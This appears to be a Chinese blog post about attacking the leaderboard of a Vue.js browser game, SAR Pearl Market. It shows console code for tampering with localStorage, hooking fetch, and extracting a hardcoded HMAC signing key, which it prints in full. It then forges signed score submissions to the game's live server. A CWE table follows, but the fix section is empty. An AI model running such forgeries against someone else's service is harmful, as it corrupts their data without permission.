
SAR Pearl Market 前端逆向攻击测试
LeonardoFox最近看到Loxi发布了一个名为 SAR Pearl Market(贝壳珍珠市场)的一个基于 Vue.js 网页小游戏。这是一个模拟珍珠交易的经营类游戏,数据存储在浏览器本地,但有一个排行榜功能会将数据同步到服务器。
这激起了我的神秘好胜心( ,我先试试能不能把榜首修改成我自己;所以我的目标是:绕过前端验证,篡改游戏数据,让自己登上排行榜榜首。
第一阶段:信息侦察
首先打开SAR Pearl Market游戏页面,按 F12 打开开发者工具,查看 Application(应用程序)标签下的 Local Storage。发现了 23 个以 sar_ 开头的存储项:
关键数据项包括:
sar_market_balance- 主余额(现金)sar_market_pearls- 珍珠资产(核心货币)sar_bank_vault- 银行金库存款sar_market_margin_debt- 保证金债务
在 Console 中执行查看命令:
// 查看当前资金数值
console.log('当前余额:', localStorage.getItem('sar_market_balance'));
console.log('当前珍珠:', localStorage.getItem('sar_market_pearls'));
console.log('银行存款:', localStorage.getItem('sar_bank_vault'));
发现余额是 1000,而珍珠数据是一个包含白、绿、蓝、紫、金、黑、红、彩虹珍珠价格的复杂数组。
第二阶段:前端篡改尝试
// 修改余额为 9999999
localStorage.setItem('sar_market_balance', '9999999');
localStorage.setItem('sar_market_pearls', '999999');
localStorage.setItem('sar_bank_vault', '99999999');
// 刷新页面
location.reload();
// 查找包含"余额"文本的元素
const balanceLabel = document.evaluate("//*[contains(text(),'余额')]", document).iterateNext();
const balanceValue = balanceLabel.nextElementSibling;
console.log(balanceValue);
balanceValue.textContent = '9,999,999'; balanceValue.title = '9999999';
页面上的数字确实变成了 9,999,999,但这只是视觉欺骗。点击旁边的"上报"按钮后,弹窗提示输入昵称,提交后页面强制刷新,数据恢复为 1000。
第三阶段:网络层拦截
前端修改无法持久化,说明服务器有验证。需要拦截网络请求,分析数据传输格式。
// 拦截 fetch 请求
const originalFetch = window.fetch;
window.fetch = async function(url, options) {
if (url.includes('/api/submit')) {
console.log('请求地址:', url);
console.log('请求数据:', options.body);
debugger; // 设置断点
}
return originalFetch(url, options);
};再次点击上报按钮,成功在 Console 中看到捕获的请求:
关键发现!请求体格式为:
{
"username": "Admin",
"score": 1000,
"timestamp": 17723777794682,
"signature": "394408b2d58e1aaa7cbc67755bca66bf5de42b1b46b4148eec14678ce8a30a79"
}signature 字段,说明有签名验证机制。直接修改 score 会被服务器拒绝。
第四阶段:逆向工程
需要找到签名算法,才能生成合法的签名。在 Debugger 暂停状态下,查看右侧的"调用栈"(Call Stack)面板。
点击调用栈中的 Dt 函数,跳转到源码位置,发现了签名生成的核心逻辑:
完整的签名函数代码:
Vt = async (t, s, l) => {
const a = "xK9#mP2$vL5@nQ8*wE4" // 硬编码密钥!
const i = `${t}:${s}:${l}` // 格式:username:score:timestamp
const m = new TextEncoder()
const n = await crypto.subtle.importKey("raw", m.encode(a), {
name: "HMAC",
hash: "SHA-256"
}, !1, ["sign"])
const o = await crypto.subtle.sign("HMAC", n, m.encode(i))
return Array.from(new Uint8Array(o))
.map(r => r.toString(16).padStart(2, "0"))
.join("")
}第五阶段:漏洞利用
现在复现签名算法,构造恶意请求。在 Console 中重新定义 Vt 函数:
// 重新定义签名函数
const Vt = async (username, score, timestamp) => {
const secret = "xK9#mP2$vL5@nQ8*wE4";
const message = `${username}:${score}:${timestamp}`;
const encoder = new TextEncoder();
const key = await crypto.subtle.importKey(
"raw", encoder.encode(secret),
{name: "HMAC", hash: "SHA-256"},
false, ["sign"]
);
const signature = await crypto.subtle.sign("HMAC", key, encoder.encode(message));
return Array.from(new Uint8Array(signature))
.map(b => b.toString(16).padStart(2, "0"))
.join("");
};
生成新的签名并发送请求:
const username = "Admin"; const score = 9999999; // 目标分数 const timestamp = Date.now();Vt(username, score, timestamp).then(sig => {
const fakeData = {
username,
score,
timestamp,
signature: sig
};console.log('伪造数据:', fakeData); // 发送到服务器 return fetch("/api/submit", { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify(fakeData) });}).then(r => r.json())
.then(result => console.log(‘服务器响应:’, result));
第一次尝试返回了 {success: true}!但查看排行榜发现没有变化。继续测试更大的数值,最终成功提交了 99999999999(11个9,约1000亿)。
攻击结果与验证
打开 Leaderboard(排行榜)页面查看结果:
漏洞分析与修复建议
漏洞矩阵
| 漏洞ID | 描述 | 严重程度 | CVSS |
|---|---|---|---|
| CWE-798 | 硬编码密钥:签名密钥直接嵌入前端代码 | 严重 | 9.8 |
| CWE-602 | 客户端安全控制:签名计算在浏览器端完成 | 严重 | 9.1 |
| CWE-20 | 输入验证不足:未对 score 进行最大值限制 | 高 | 7.5 |
修复建议
本文完。感谢阅读,欢迎交流讨论。
